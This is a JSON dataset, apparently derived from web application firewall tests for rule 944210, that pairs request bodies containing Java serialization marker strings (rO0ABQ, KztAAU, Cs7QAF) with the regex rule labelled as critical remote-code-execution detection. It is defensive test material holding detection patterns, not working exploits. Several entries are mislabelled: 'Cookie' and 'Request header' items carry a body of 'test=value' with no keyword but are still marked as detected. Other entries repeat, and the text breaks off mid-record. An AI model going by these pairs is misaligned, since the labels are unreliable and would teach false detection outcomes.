"(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data XML element value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">rO0ABQ</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data XML element value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=KztAAU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Argument test includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "KztAAU=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Argument name includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Cookie test includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Cookie name includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Request header test includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><KztAAU attribute_name=\"attribute_value\">value</KztAAU></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML element includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element KztAAU=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML attribute name includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"KztAAU\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML attribute value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">KztAAU</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML element value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">KztAAU</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Nested XML element value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=KztAAU" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type text/plain includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"KztAAU\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type application/json arg value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"KztAAU\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type application/json arg name includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"KztAAU\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data json arg name includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"KztAAU\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data json arg value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">KztAAU</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data XML element value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">KztAAU</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data XML element value includes keyword KztAAU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Cs7QAF" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Argument test includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Cs7QAF=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Argument name includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Cookie test includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Cookie name includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Request header test includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><Cs7QAF attribute_name=\"attribute_value\">value</Cs7QAF></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML element includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element Cs7QAF=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML attribute name includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Cs7QAF\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML attribute value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Cs7QAF</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML element value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Cs7QAF</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Nested XML element value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Cs7QAF" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type text/plain includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Cs7QAF\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type application/json arg value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Cs7QAF\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type application/json arg name includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"Cs7QAF\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data json arg name includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: 